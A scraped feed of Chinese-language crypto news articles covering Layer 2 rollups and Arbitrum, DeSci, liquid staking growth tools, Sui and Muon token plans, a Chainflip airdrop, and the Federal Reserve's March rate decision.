相比于以太坊主网大大减少。根据实际统计，Optimism和 Arbitrum 的费用只有以太坊主网的 10%-30%，而 ZK rollups 的费用还不到以太坊的 5%。一方面减少了链上资源的消耗，一方面又能保持数据的可用性，也就是以太坊主网能够查看并保证任何人都不能篡改链下的交易，Rollup 可以继承以太坊的去中心化和安全性，成为了 Layer 2 的主流技术方案[1]。 目前 Rollup 技术方案还存在一些短板，使其没有大规模发展，这些短板包括以下几点： 1.用户体验不佳 表现在（1）OP 提款存在挑战期，目前 4 大 OP 的官方跨链桥的提款等待期都是 7 天；（2）Rollup 之间的互操作性低，部分跨链桥支持的资产种类非常有限；（3）OP 缺乏费用优势，根据 l2fees 数据，OP 的 ETH 转账、Token转账和Token兑换费用都高于 1$；（4）充值步骤繁琐。 图 6. 各主流 Rollup 和公链转移原生Token的手续费。资料来源：l2fees，各区块链浏览器，Huobi研究院整理 2.资本效率低 表现在（1）流动性碎片化问题降低资本效率，不同的 Rollup 平台和建立在其上的应用会让流动性进一步碎片化。（2）OP 的挑战期降低资本效率。 3.存在安全隐患 Layer 2 和 Rollup 都还是比较前沿的技术，很多用户对它的安全性怀有疑虑，主要体现在以下方面：（1）Rollup 本身的智能合约存在漏洞，导致用户资金被盗；（2）Rollup 的运营者出现故障或者故意作恶，导致用户资金被冻结；（3）跨链桥被攻击或者运营者作恶，导致用户锁定的资金被盗。 从上述 3 个方面我们可以展望 Rollup 解决方案在未来的发展重点方向： 提升用户体验，更广泛地采用快速跨链桥和更方便的交易平台充提可以降低 OP 提款等待期的影响，减少上传数据量和提高链下处理效率来降低费用。 提升资本效率，可以通过聚集流动性来提升资本效率。 提升安全性，通过推进 Rollup 的去中心化运营和设置强制提款机制保障安全性。 Arbitrum 的成功预示着 Layer2 赛道将会成为下个牛市的起点。但在此之前，无论是 Optimistic Rollup 路线还是 zk Rollup 路线，在技术上仍然存在一些问题需要解决。在未来，Arbitrum 项目将会在三个方面进行发展：（1）继续技术升级；（2）不断支持生态项目；（3）借助发币预期吸引用户入场。 首先技术上，Optimistic Rollup 技术仍然被略为中心化的排序器所诟病。Arbitrum 目前拥有中心化的排序器和白名单证明验证，同时拥有可升级的合约。虽然这些在目前并没有出现安全问题，也足以保护用户资产。但仍然增加了审查和损失用户资金的风险。所以，去中心化排序器和无需许可的证明验证都是必然之路。offchain labs 在这些问题上也给出了相应的技术路线： 在生态方面，目前 Defi、跨链和游戏类是 Arbitrum 主打应用。但未来随着开发者和用户的不断增长，会有更多的新应用部署在该平台，而最值得期待的是社交类和 NFT 类的项目。同时，鉴于Treasure 的成功和 ArbitrumNova 的增长潜力，ArbitrumNova 链将会真正用起来，让 Arbitrum在游戏领域处于有利地位。 在经济模型上，其实这是最为期待的一个部分。Token的推出对于 Arbitrum 的长期成功至关重要，包括： 治理方案。好的经济模型将会让 Arbitrum 朝着更加正向的方向发展，吸引用户和开发者。Token分配也将在决定 L2 的治理和生态系统内的长期权力集中方面发挥重要作用。此外，Token还可以用于分散关键网络功能，例如排序器——排序、批处理和向 L1 提交交易的实体。 从以上分析可以看出，2023 年将会是 Arbitrum 持续爆发的一年。它可能继续奥德赛项目，并强化目前的 DeFi 和游戏类项目，也会推出有特色的原生社交类项目和 NFT 类项目。同时，随着推出期待已久的Token经济模型，用于奖励用户和协议，后期真正启用 Nova 链，并开始部署协议，这些都是 Arbitrum 的利好消息。 [1]关于 Rollup 技术的发展可进一步阅读 Huobi Research 研报：https://research.huobi.com/#/ArticleDetails?id=265 参考资料 1.https://candydao.notion.site/Arbitrum-Odyssey-17634b06aa084a3a8407d212927e5f162. https://www.bitance.net/category/jingzhengbizixun/18081.html3. https://mirror.xyz/0xB10DF4c0D1C767b3cEdd911a30E78d2bfdFb5888/prNC3wNLuAUi2imlVFuibvxc151x8cT3kTdWOtkFhXM4. https://newsletter.banklesshq.com/p/arbitrum-is-mooning5.Optimism Bedrock VS ArbitrumNitro - PANews (panewslab.com)  ( 9 min )
    打破科研困境的 DeSci 是什么？
    随着金融、娱乐、社交等行业版图开始迈入 Web3 时代，区块链正在改变当下行业发展的现状，带动各领域事业追求开放、透明、去中心化的未来。就在 NFT、DeFi、Metaverse 等概念开始兴起之时，DeSci（去中心化科学）也成为了 Web3 世界的新星力量。 DeSci 的出现，要从由来已久的科研难题与困境开始说起。对科学家来说，科研的前期储备关键是资金，如若花费大量时间和金钱用于书写资助申请，却没能获得稳定的资金投入，那么大多数项目只能就此停摆。由于资金上的困顿，越来越多的科学家们开始有偏向性地选择研究项目，甚至出现了不少「复制危机」的问题。 2022 年 8 月，哈佛大学教授 Naomi Oreskes 在《Scientific American》上发表一篇名为 “Science Needs to Shrink Its Carbon Footprint” 的文章。文章指出当前科研活动的能耗巨大，如世界各大天文台在运行期间排放的二氧化碳总量据估算为近 2000 万吨。另外，整个云存储计算领域排放的二氧化碳也超过了因石油消耗量大而饱受诟病的航空业。 除了资金以外，信息的访问权也是一大关键。大量科学知识只在 《Science》、《Nature》等知名期刊的付费版面上发布，科学家们不仅需要花钱去读别人的研究成果，还需要花钱发表自己的研究，这种权力进一步集中在大型出版商的手中的果敢现实让科研工作者们怨声载道。因此，科学家和科研人员们不断寻求更加开放和自由的环境， DeSci 和 DAO 的结合正逢其时。 DeSci 是一项通过建立公共基础设施来使用 Web3（包括 NFT、智能合约、DAO）实现公平公正资助、创建、审查、存储和传播科学知识的行动。DeSci 鼓励科学家公开分享研究成果并获得荣誉，同时允许任何人轻松访问和贡献研究成果。DeSci 的理念是科学知识应对每个人开放，其研究过程应是透明、公正的，通过创建一个更为去中心化的科学研究模型，分散对资金、科学工具和渠道的访问量，创造全新的科研发展环境。 从去年开始，DeSci逐渐在全球范围内得到认可，相关新项目也得以迅速崛起和传播。例如，首个开放科学的 NFT 项目以 13 个 ETH 出售，一些为了支持 DeSci 而成立的去中心化自治组织（Decentralized Autonomous Organization, DAO）也日益崛起。在 2021 年年底的 LisCon 区块链活动上，DeSci 也被成为新晋热门话题进行了专门讨论。 借由 DeSci 这一模型，更多研究人员在公开分享他们的工作时获得了科学知识。DeSci 之所以能够得到科研界的认可，还在于其能够提供实际的应用价值，包括解决研究资金筹集的挑战、消除研究者与评审人之间的中介关系，实现科学真正向世界开放的目标。 DeSci 鼓励世界各地的科研爱好者们加入链上科研世界，比如在线合作实验室、云实验室等形式。正是这种知识无边界共享不断推动科学进步，也让科学家们更快找到基本问题的解决方案、共享合作成果。这群发动科研活动的志愿者就组成了专注于 DeSci 的 DAO，让数据公开、过程透明、成本分摊、利益共享成为现实。 上文提及的 DeSci 模型已然呈现了对科学家、科研工作者的利好，事实上 DeSci 的优越性来源于其对区块链和 Web3 工具的使用之道。 从同行评审说起，DeSci 可以利用智能合约消除同行评审的中介角色，直接进行同行评审流程，区块链技术的去中心化属性也能够敞开数据存储和对外开放平台，使得世界各地的研究人员都能自由访问所需数据，减少了各国政府对科学数据交流的的审查和阻拦。 另一方面，DeSci 能够实现不同领域的科研成果由不同共有社区负责，既能减少单一机构影响科研活动的情况，还能保护科学界免受新兴技术等各类外来威胁。在 DeSci 存在的前提下，科学知识将为每个人所共有，而不是被某个公司或国家政府所拥有，知识权利实现由民众共享。 在科学家声誉体系角度，此前科学家的声誉评价主要取决于 H-Index，对论文发表的数量和引用次数都有较高的要求。但有了 DeSci 后，科学家通过社区认可的相关活动来获得 NFT ，从而提高自身的知名度和影响力，引得更多年轻人的关注。 根据 DAO 聚合器 ThePASS 平台统计，共有近 102 个 DeSci 相关组织构成了 DeSci 生态图谱，包括 DAOs、BIOTECH Research、Communities、Decentralized Funding Of Science、Institutes、NFTs、Publishing、Protocols & Data 等卓越项目。其中，DAO 的比例达到了 29% （排名最高的资产类型是 ResearchHub，国库总价值超过 600 万美元，原生加密资产比例超过 99.96%），最活跃的治理属 MoonDAO，共有 74 个提案和 10102 票支持，随后是 VitaDAO 和 CrunchDAO。 DeSci 生态细分赛道分布图 我们可以看到在 DeSci 生态细分赛道中， DAO 稳稳占据了生态版图的上风。在实际的 DeSci 世界里，除了 DAO 以外，还有一些不错的项目正在向上生长。 VitaDAO VitaDAO 的目标是通过吸引周期较长的长寿研究项目，并将其纳入民主化轨道。VITA 的所有权允许持有者参与 VitaDAO 的民主治理并指导其研究，用户可以访问数据存储库并管理其 IP 组合，从中获利。从这个意义上来说，VitaDAO 就像一个由数百个早期长寿项目组成的自治 ETF（交易型开放指数基金） LabDAO LabDAO 是一个开放的社区运营服务网络，为推动生命科学事业的进步提供相关工具和服务，促进技术和产品的自由交换。同时，LabDAO 有着明确的社区运行规则，$LAB 的所有者都是 LabDAO 成员，需要为开源工具、LabDAO 社区的维护做出贡献和服务。 Research Hub Research Hub 是一个为加快科学研究步伐而组建起来的项目，为了将新生社区聚集在一起并加大对平台的激励贡献，ResearchHub 创建了加密虚拟资产 ResearchCoin (RSC)。用户收到 RSC 后将新内容上传到平台，并开展总结与讨论研究。 Genomes.io Genomes.io 是私人且安全的 DNA 数据库，由用户自主掌控自身的基因组。通过解决 DNA 测试和共享隐私、安全、所有权问题，Genomes.io 的目标是建立世界上最大的用户基因组数据库，以此来推动构建个性化医疗的未来。Genomes.io 还建立了 Genomes DAO、GENETICATS NFT，并为旗下 DAO 组织发行加密资产——$GENE。 虽然 DeSci 的发展浪潮已然兴起，但仍有许多问题和挑战亟需面对和解决。比如科研项目质量的参差不齐、搭建 DeSci 协议的最终认定标准、预先拨款的 DeSci 社区建设……这些都需要科研工作者和社区开发者共同思考优化解决方案。以及致力于 DAO 组织建设的开发者如何改善治理体系，实现更多科研同行云端处理合作事宜。 同时，DeSci 正在运用各种新工具来改善科学研究，如若真的想要取得成功，就应使这些技术工具与科学家日常工作无缝相接，专注于为科学家赋能，摆脱固有的工具化思维。目前，从各项目的 Twitter、Discord 社区用户规模来看，DeSci 的整体生态关注量仍然较小，我们期待 DeSci 与 Web3 能实现进一步的相生相融，拥抱去中心化科研共创的未来。  ( 5 min )
    以太坊Shanghai升级之前， 大多数Staking项目需要了解的 3 个提高TVL的技巧
    以太坊的每一次重要升级，都备受瞩目。前有The Merge引发圈内对PoS共识机制的讨论，后有即将到来的Shanghai正在复兴Staking（流动性质押）的叙事——流动性质押将是一个不断增长的趋势，2023年行业的一个风口。 根据Bankless的专业分析：主要原因在于，由于当前以太坊暂时无法实现质押提款，因此很多人对质押持保留和观望态度。根据Dune统计，仅有14.61%的ETH被质押，远低于主流加密代币的质押率。 而Shanghai升级实现提款就意味用户的质押会因此更安全，从而加速这一质押率。与此同时，在以太坊生态中，流动质押衍生品（LSD）既能够满足用户的质押获益，又能够作为新资产让用户重新部署，而收到普遍青睐。因此，根据DefiLlama统计，截至撰稿，共计有7,713,548个ETH被质押进流动性质押赛道，占被质押总量（16,353,927）的47.17%。 纵观整个行业，诸如此类的看法已经汇集成主流。 摩根大通分析师：以太坊上海升级可能会导致Coinbase的质押收入激增，为Coinbase开创一个新的质押时代。 shutong，SevenUp：DAOLSD 暗藏「七重收益」，APR-War 终局为 TVL 10X 增长。 Meeint DAO Space：以太坊一直在通缩阶段，质押率还有较大的提升空间。以太坊上我比较看好的项目有 Lido、SSV、FXS。 目前，不仅是以太坊生态中的流动性质押协议，更多同赛道协议均摩拳擦掌，策划Sitakng策略，以期抓住Shanghai这一机会，快速提升自己的TVL。更多的新生协议也在酝酿，试图趁此天赐良机进入市场，并占据自己的一席之地。 然而，当前这一赛道可以算得上是“泾渭分明”。从DefiLlama的列表中，非常明显可以发现Lido占据了整个市场的74.85%，Coinbase勉强分得14.62%，基本等同于垄断整个赛道。 那么，对于其它项目来说，“虎口逃生”就已经很不容易了，它们又怎么能分得接下来的“一杯羹”？ 回答这个问题之前，首先让我们了解一下这些项目，尤其是Lido的壮大史，看看能不能找到可复制的方案。 一般用户选择参与一个流动性质押，大概会看以下几个方面： 经济模型 - APY高，收益高。根据beaconcha.in的数据显示，在当前主要几个主流项目中，无论是7日数据，还是月数据，抑或是长期数据，Lido这三个维度的APY均处于领先地位。 产品功能 - 精细化用户服务，尤其是使用体验上。比如非常简洁的操作界面，清晰及时的用户质押仪表盘，引入Chainlink预言机。 增长策略 - 市场推荐计划。即用户通过钱包生成唯一的 Lido URC，并分享给到其他用户。如果其他用户通过该链接质押 ETH，那么推荐者将获得 15LDO /人的奖励使。从7月19日活动上线，到9月中旬期间，Lido的AUM增长了63%（约 401K ETH），用户量增长1倍（8.4K独立地址）。9月份后，Lido将推荐调整为仅限白名单邀请，并将LDO的payback比率调整为1%，最后通过分配 404K LDO 吸引 61.6K ETH质押。 基于上述三个环节，编者认为，对于一个流动性质押项目来说，想要实现低成本及TVL的大幅度增长，三个团队至关重要： 产品研发，研究产品使用逻辑、经济模型 技术研发，研究底层架构、智能合约 市场增长，策划增长计划、品牌影响力 尤其是市场增长团队，是产品构建后实现TVL增长的主力军，同时也是搭建产品“护城河”，即品牌的重要执行者。 然而，在Web3这个新兴生态中，大部分项目都比较“偏科”，要么选择了all in开发，要么现有的市场增长团队非常佛系、不够专业，很难策划出及其成功的增长方案。 与此同时，每天都会有各种DeFi项目出现，每天市场也会有概率出现“黑天鹅”事件。对于DeFi/Staking项目来说，没有增长，并不意味着止步不前，而是会快速被市场淘汰！ 更不用提，在流动性质押的赛道中已经有一个基本垄断市场的TOP级项目。在没有收益优势，没有产品创新优势的阶段，如果还没有市场增长活动，又怎么可能在这个市场中占有一席之地？ 那么，我们该如何策划一起成功的增长活动呢？首先我们需要定下增长的目标： 官网访问 社媒/社群成员 dapp用户 质押量 根据不同的目标，我们有可以分解为： 目标 用户需要做什么 奖励等级 可能出现的问题 官网访问 点击官网链接 低 如何追踪 社媒/社群成员 关注或者加入 偏低 用户来源 dapp用户 下载或者链接钱包 中等 用户后续使用情况 质押量 质押一定的代币 高 参与度低 Web3传统的做法是生成一个特殊的链接，并设置一个google doc表格，让用户完成增长任务后填写相关信息。比如要求下载或者注册的，需要用户填写钱包地址和账号UID。最后，项目方通过一一核对后发奖。 然而这个过程极为复杂，不仅需要耗费人工、时间，还极容易出现偏差，导致用户不满。如果从任务建立、用户检验，到最后的发放奖励，全部可以机器化、自动化？ 于是，近两年，Web3新诞生了一个赛道——任务型增长工具，比如Galxe、TaskOn、Quest3、Port3、Denet。使用这些工具的大致流程是： 首先，项目方在这些工具平台链接钱包，并进行身份验证（部分平台比如TaskOn、Quest3目前无需验证）； 随后，项目方可以创建活动，选择提供的任务功能，比如关注推特、加入Discord，部分比较头部的平台已经可以提供PoW任务、Q&A任务、API验证等等，帮助项目方提升浏览量、使用量，包括TVL增长。 最后，活动结束后，平台方将自动检验合格用户，并生成获奖者列表，部分可以支持自动发放Token、NFT等奖励。 以下是比较主流的多个项目清单，供大家参考（内附超链）： 项目 活跃用户数 真实用户 平均参与 Twiter粉丝 联系方式 Galxe 7M+ 73.84% 800+ 719K+ support TaskOn 160K+ 92.09% 900+ 100K+ contact@taskon.xyz Quest3 300K+ 64.08% 2,000+ 110K+ TW@cryptochessxyz SoQuest 120K+ 75.1% 1,400+ 145K+ TG@Bellamar Crew3 3.869M —— 20+ 88K+ Support CWallet 650.8K+ —— 100+ 88K+ TG@Emily_Cwallet 使用工具确实可以减少项目方在策划与执行增长方案上面所需要花费的人力、物力和时间成本，不过后续的用户教育、用户留存以及用户深度转化依然值得项目方的持续研究。 目前，以上增长工具，确实也可以帮助项目方进行一定的用户转化，比如让用户点击教育视频链接，并完成Q&A，完成任务的成员可以获取一定的奖励；又或者通过PoW功能设置DAO赏金任务，完成后可以获取新角色或者激励。 当然，工具仅是工具，一个项目的长期增长与稳定运营，还是需要一个专业的团队。只有思维与工具的结合，才能够打造更完美的增长逻辑。  ( 6 min )
    主网上线临近，社区有哪些方法获取Sui Token？
    今天凌晨，Sui开发团队Mysten Labs 在官方推特上举办了主题为「The Wave to Mainnet」的Twitter Space，两位联合创始人Evan Cheng 和 Adeniyi 参与此次Twitter Space，解答大家对SUI Network 的问题。 以下为常见问题的快问快答 Q：什么是Wave to Mainnet？ A：「The Wave to Mainnet」 是一系列教育活动和内容，旨在进一步在主网上线前，让社区了解SUI Network 的协议的潜力。 Q：Sui 主网什么时候上线？ A：Sui主网将于今年Q2上线,更多信息待分享。 Q: 如何第一时间获取更多关于SUI 的消息？ A:所有官方信息都可以在https://sui.io上找到，或者是SUI 的Discord 群 http://discord.gg/sui Q: 会有空投吗？社区该如何获得SUI Token？ A:目前官方表示没有正式的空投计划,不过SUI Network 发布了SUI Token 社区访问计划以及SUI Token 的分配细节。 SUI Token 社区访问计划 https://sui.io/resources-sui/community-access-program Sui 社区非常多样化，SUI Foundation 考虑到社区受众对SUI Token的渴望，正在开展不同的SUI Token 分发计划： 开发人员资助计划（参考SUI World 早期文章：SUI 基金会开放Grant 申请入口，开发者如何获取初始资助？）：为构建原生开源应用程序的团队提供资金； SUI委托计划（参考SUIWorld 早期文章：SUI 启动委托计划，社区成员该如何参与SUI 的验证节点？）：将 SUI Token 委托给社区运行的验证节点，以帮助引导他们的运营网络。 大使计划：为社区成员提供工具和资源，以推广Sui项目和技术，并与当地社区分享Sui知识； 大学拓展计划:挖掘未来的开发者，以便在Sui的生态系统中培养下一波建设者； 教育计划：奖励那些花时间学习和研究Sui的人，与更广泛的Sui社区分享知识； 虽然目前只有开发者资助计划在运作，但其余计划正在积极开展中，并将在短时间内启动。Sui 基金会的目标是在 Sui 主网启动之前让所有这些项目上线。 SUI Token 的分配细节 https://sui.io/resources-tokenomics/sui-token-allocation Sui 基金会支持并赋能 Sui 生态系统中的建设者和创造者。重要的是，Sui 基金会通过在社区中传播 SUI 代币以实现最佳用途，在带头去中心化工作中发挥着关键作用。初期，由 Sui 基金会管理的社区储备拥有超过一半的 SUI 代币，它们将用于各种社区项目： 委托计划：基金会将帮助引导社区运行的验证节点，并将通过将其质押权委托给第三方节点来促进网络验证节点权益的公平分配； Grants 分配：基金会将直接向开发人员、社区大使和其他在 Sui 上构建并创建教育材料的参与者分发代币，以使其更容易加入 Sui； 研发：基金会将支持 Sui 协议的进一步发展，确保其能够一直保持优势； 验证者补贴：基金会已经拨出大量代币来补贴网络早期阶段的stake奖励。 上面的饼图包含了主网启动时Sui token 分配的大致描述。然而，Sui 代币分配将会随着网络成熟到去中心化，发生一些根本性的变化。 对于已经在传播有关 Sui 的知识、将开发人员引入 Sui 以及测试和帮助改进 Sui 当前应用程序的产品体验的 Sui 朋友， 一旦主网启动，基金会将确保您参与 Sui 的Token分配。  ( 5 min )
    一文读懂分布式超级计算机Muon Network
    Muon Network是一个去中心化的预言机网络，可以执行来自任何来源的数据请求。去中心化的Muon网络就像一台带有通用操作系统的分布式超级计算机。这创造了一个强大而安全的云计算服务，可以运行任何应用程序/软件并连接到所有公共区块链。它被认为是一种完美的区块链技术匹配，并将大力推动区块链经济发展。 追溯至2021年Muon Network已经与DAOMake达成合作，将在其平台上进行IDO，此IDO预计将在2023年上半年进行。 回顾下区块链的发展，DeFi概念现在逐步成熟，其中最重要的点就是底层协议建设，以太坊公链历经3年多时间的打磨，才迎来了DeFi的爆发期，所以Web3.0概念要想全面爆发，自然是离不开的底层协议的建设。如果说Defi的底层协议是公链，那么Web3.0相关的底层协议就是多链、跨链这类项目，今天本文将为您介绍Muon这一专门服务于Web3.0的底层协议项目的内容和其具体的IDO信息。 Muon是一个全球数据可用性层，能够运行Web 2.0和Web 3.0应用程序，包括在链外、链上和跨链。Muon Network作为一个基础层，接收和发送来自现实世界和区块链之间的信息，创造一个流动的DeFi和Crypto生态系统。Muon网络通过提供使该行业发挥作用所需的关键服务，进入了快速发展的基于区块链的行业：安全的实时全球数据可用性和无信任的跨链通信。 一句话简单介绍Muon协议的愿景，就是打通区块链上所有安全、分散、强大的网络节点，然后进行链上、链下和跨链的连接，这样就能轻快的运行任何Web 2.0 / Web 3.0应用程序。此外，MOUN也在为新项目们，例如NFTs以及GameFi, DeFi和dApp的许多其他用例服务。 Muon协议由大量的节点组成，这些节点根据要求处理和签署有价值的数据，并将敏感数据以安全的阈值签名方案推送给区块链上的智能合约，其完整性可以得到验证。节点被要求在Muon智能合约中预先存入抵押品，确保恶意行为被砍掉后得到惩罚。合作伙伴可以通过选择节点签名的数量和签署交易所需的抵押品要求来自定义所需的安全级别。它是由一个全球性的节点运营商社区运行的，所有这些都受到Muon代币的激励。 Muon Network的独特优势所在于它的设计和可行性。Muon的团队估计，大约80%的有效项目可以从与该平台的接口中受益匪浅。它本质上是一个Lamdba AWS类型的市场参与者，使分散的微服务能够通过Muons全球数据可用性层访问任何任意的信息，通过Muon网络访问数据或计算资源在前端是无缝的。这大大增强了web3.0应用程序使其同时具有安全性和分散性。额外的即插即用模块也使快速采用成为可能，因为Muon将被设计为易于集成。  安全的后续共识：在设计上，Muon看起来与PoS系统非常相似。然而，核心共识层是一种独特且全新的系统，我们称为安全后续共识。通过自适应抵押，该协议可以确保快速执行时间，同时确保可以达成节点共识。关键字是can，因为即使在交易被挖掘后也可以达成共识。根据交易价值，抵押是动态的。 无缝可扩展性：区块链的可扩展性是有限的，因为受到跨节点状态保存的限制或高度影响。但是Muon Network不是链，也不是永久存储数据，所以可以轻松地水平扩展而没有任何限制。 去中心化计算：使用Muon Network，任何Web3.0程序都可以在其自己的Muon应用程序容器中运行高级、防篡改的计算（Python、Java、C、C++、Rust 等）。运行同一个应用程序的节点可以协同工作，形成一个去中心化的超级计算机。这也使得创建Muon Keepers成为可能，它能够根据链上或链下事件在链上执行交易，创造一个安全但高度优化和自动化的环境。这是目前区块链基础设施无法做到的。 可定制且具有成本效益：节点不需要运行所有应用程序，它们可以轻松地选择加入或退出他们想其机器上运行的程序。随着时间的推移，我们将开始看到网络中可用节点类型之间的划分： 专用节点：运行特定应用程序的节点 通用（普通）节点：运行（几乎）所有应用程序的节点   因此，Web3.0 开发人员现在可以在此配置产生的权衡之间进行转换：安全性与速度。节点的硬件要求也可以与目前的软件要求相比较，每个MuonApp都可以根据自己的喜好有自己的节点要求，当然也有明显的 "最低要求"。例如在你的windows机器上运行Muon核心，但真正的节点要求将基于你想安装的MuonApps，如果在你的机器上安装更多的MuonApps那将会产生更多的请求，最终也会产生更多的Muon交易费用。更多关于运行Muon节点的最低要求以及最初的MuonApp要求和潜在的 "Muon App Store "更新的信息将在代币发行后公布。 Muon Network是由全球各地30多名经验丰富的工程师团队组合而成。例如：其中一位联合创始人Lafayette Tabor，一个在区块链和编程领域非常有经验和知识的工程师，同时是DEUS Finance协议的联合创始人和项目负责人，元宇宙及沉浸式虚拟体验服务提供商Infinite Holding Limited的CEO兼CTO，以及Bitstamp比特币交易所的独立加密货币研究者。 目前，muon已经洽谈许多合作项目，且已经发布了多版本测试网，支持合作伙伴运行节点并部署项目。目前已经有项目在测试网运：DEUS：可以交易多种股票的区块链defi协议；NFTD：跨链NFT协议；FEAR：游戏开发机构，目前已经在Muon搭建了多款游戏；以及本次IDO的合作伙伴DAO Maker等。 $MUON代币构成了网络的骨干，旨在以最有效的方式激励网络参与者，并最大限度地提高网络价值，包括技术开发、营销/社区和网络激励。其主要实用程序以及长期经济效用： 节点操作：为了保护网络免遭受潜在的欺诈活动，这些节点需要投入一定数量的$MUON作为抵押品。当网络成为公共网络时，节点运营商将有资格获得$MUON的网络奖励，作为其保持网络安全和分散的服务的激励。 网络费用：$MUON的用途也与其他Gas代币相同。Muon网络的用户支付用于支付节点运营商的费用，以激励他们继续验证网络上的数据。 流动性：$MUON将在多个链和市场（包括CEX和DEX）推出。在DEX上市将为用户提供用其$MUON提供流动性的机会，并因此获得奖励。 DAO治理：未来Muon DAO治理结构将是一个分散的倡议，围绕Muon方向进行决策。希望在项目中拥有更大发言权的$MUON持有者将能够为DAO做出贡献。   $MUON的总供应量为10亿枚，分配图以及具体内容如下： 30％（3亿枚）- 生态系统奖励：用于激励节点运营商和其他网络活动的奖励 19％（1.9亿枚）- 开发、项目和团队：用于开发、项目和Muon团队的代币供应 17％（1.7亿枚）- LP 存款/激励、做市和质押：用于激励在多个市场（包括中心化和去中心化交易所）上深度交易 $MUON，以及对持有者的质押激励 7％（7000万枚）- 天使轮：分配给社区预售以及其他早期销售的代币 9％（9000万枚）- 营销和储备：用于信息/营销活动/事件的资金 + 储备代币资金 6％（6000万枚）- 种子轮：分配给为项目提供初期资金的早期投资者 6％（6000万枚）- 合作伙伴和顾问：分配给选定的早期项目合作伙伴和顾问的代币 6％（6000万枚）- SHO（DAO Maker 社区预售）：用于DAO Maker的社区预售SHO（Strong Hands Offering）的代币供应。   $MUON的总供应量归属期为4年（48个月），每组都有定期解锁。以下是$MUON的归属和释放时间表的图片介绍和细节。 所有社区投资轮（种子+天使+SHO）的10%将在启动时被解锁；这些将在27个月内完全解锁。(这将包括社区预售。) 4450万个代币（总供应量的4.45%）将在启动时被解锁。4周后，这将增加到7400万（7.4%）。 开发和合作伙伴的代币在1年后才会被解锁，并需要整整4年时间才能完全解锁。    虽然理论上MUON的总供应量为10亿，但节点运营商的生态系统激励将在很长一段时间内释放（估计在4-10年之间）。 即将在DAO Maker上IDO Muon Network将在DAO Maker上进行IDO，本次IDO模式是SHO（Strong Holder Offering），即只有通过严格筛选和抽签的参与者才能购买MUON代币，此次IDO的总供应量为6000万枚，单价0.03美元/MUON。该项目属于Web3.0+基础设施赛道，通过搭建聚合网络的方式来实现跨链系统和预言机系统，客观上赛道优质，和目前的基础设施项目形成错位竞争。后续IDO日期确定后，我们也会持续关注未来$MUON价格走势。如果你对Muon Network IDO感兴趣想要更加深入了解它，以下媒介可以供你探索： 官网地址：https://www.muon.net/ 官方推特：https://twitter.com/muon_net Discord：https://discord.com/invite/rcK4p8g7Ce Gitbook：https://docs.muon.net/muon-network/  ( 5 min )
    Chainflip Labs公布代币经济模型，将向社区空投475万枚FLIP
    PANews 3月22日消息，据官方消息，跨链交易平台Chainflip Labs公布代币经济模型并将向社区进行空投。FLIP是Chainflip Labs的ERC-20原生代币，预计于2023年第二季度推出。该代币的初始供应量为9000万，每年通胀率为8%。 分配计划如下：（1）将向社区空投475万枚FLIP，分配给在2020与2021年参与Service Node空投计划的服务节点运营商；（2）690万枚FLIP用于代币销售；（3）1300万枚FLIP分配给贡献者；（4）约3,400万枚FLIP分配给战略投资者；（5）420万枚FLIP分配给Oxen基金会；（6）4,968,503枚FLIP作为流动资金；（7）2,200万枚FLIP作为储备资金。 此前去年5月份消息，Chainflip Labs完成1000万美元融资，Framework Ventures等参投。  ( 4 min )
    美联储3月议息会议对加密市场的影响
    编译 | Cindy SophonLabs 美联储作为美国央行，其货币政策决策对金融市场的波动具有重大影响。在美联储的货币政策决策公告期间，市场通常会出现大幅波动，投资者和交易员都在密切关注着这一事件。美联储货币政策决策对市场的影响主要是通过利率的变化来实现的。如果美联储决定加息，那么市场利率将上升，这将导致借款成本上升，从而影响消费和投资决策。此外，加息还可能导致股票市场下跌，因为投资者可能更倾向于选择更安全的债券投资。相反，如果美联储决定降息，市场利率将下降，这将鼓励消费和投资，同时也可能导致股票市场上涨。新的一轮美联储议息结果将在美东时间3月22日14:00发布。市场预测，加息25个基点概率约为65%，不加息概率约为35%。 美联储主席鲍威尔和他的同事将在本周召开的货币政策例会上，面临着一个十分棘手的问题：是继续加息以抑制飙升的通胀压力，还是暂停加息以缓解金融市场的不稳定和银行业危机的风险。这是自2008年金融危机以来，美联储面临的最严峻的挑战之一。回顾2008年金融危机。在2008年之前，美国房地产市场经历了长期的繁荣期，许多人购买了高风险的次贷房屋贷款，这些贷款被打包成复杂的金融工具并在全球范围内进行交易。然而，由于次贷贷款的质量低下，大量的贷款违约导致了这些金融工具的价值急剧下降，引发了金融市场的动荡。此外，许多金融机构过度杠杆，以追求高利润，从而使得金融危机的影响进一步扩大。在这种背景下，美国联邦储备委员会在2008年后采取了一系列措施，包括降息和提供流动性支持，以缓解金融市场的压力。 在此之前，在2004年至2006年之间，Fed曾经连续17次加息，将联邦基金利率从1%上调至5.25%。这些加息措施在一定程度上对2008年金融危机产生了影响。具体来说，加息措施导致了低质量次级房贷的借款成本增加，使得更多的借款人无法偿还贷款，从而加剧了房屋市场的疲软。此外，加息措施也导致了债务违约和金融市场的动荡，这最终导致了2008年的金融危机爆发。虽然加息措施不是直接导致金融危机的原因，但它在一定程度上加剧了危机的影响。加息可能会导致金融市场的不稳定和经济衰退，尤其是近期银行面临的危机。但停止加息可能会进一步加剧通胀，之前的加息成果付之东流。这是一个需要平衡考虑各种因素的复杂问题，需要综合考虑通胀、就业、经济增长、金融稳定等多个因素。市场上支持加息者，主要考虑到数据上，今年年初到就业、消费和通胀表现强劲，超出了预期，有加息的操作空间。尽管出现银行动荡，但并不是因为管理不善，而是科技行业疲软。科技行业是一个快速发展和变化的行业，市场竞争激烈，技术变革快速，因此科技公司面临的风险也相对较高。此外，政策变化、监管压力、知识产权争端等问题也可能影响科技公司的业绩。近期，全球的科技公司都面临经济收入下降、利润减少、股价下跌等困境。加息除了影响科技公司和依赖科技公司业务的银行，对其他产业影响较小。综合其他经济指标，数据依然支持加息决策。反对者则指出，持续加息将造成金融不稳定。银行业动荡可能会导致银行加强贷款审查，进而导致贷款减少。银行在面临压力时通常会更加审慎地选择借款人，以减少风险承担。这种审查可能包括对借款人的信用评级、收入来源等方面的更严格审查。高盛的经济学家估计，如果银行业的不稳定导致贷款标准收紧，这将相当于美联储基准利率上调25个基点或50个基点。这可能会进一步抑制经济增长，加剧通货紧缩的压力，造成经济不稳定。而这种不稳定会导致市场出现剧烈波动或者系统性风险，可能导致经济衰退、资产价格下跌、信贷紧缩、失业率上升等问题。所以，为了避免金融不稳定对经济的负面影响，应停止加息，实行稳健的货币政策等。 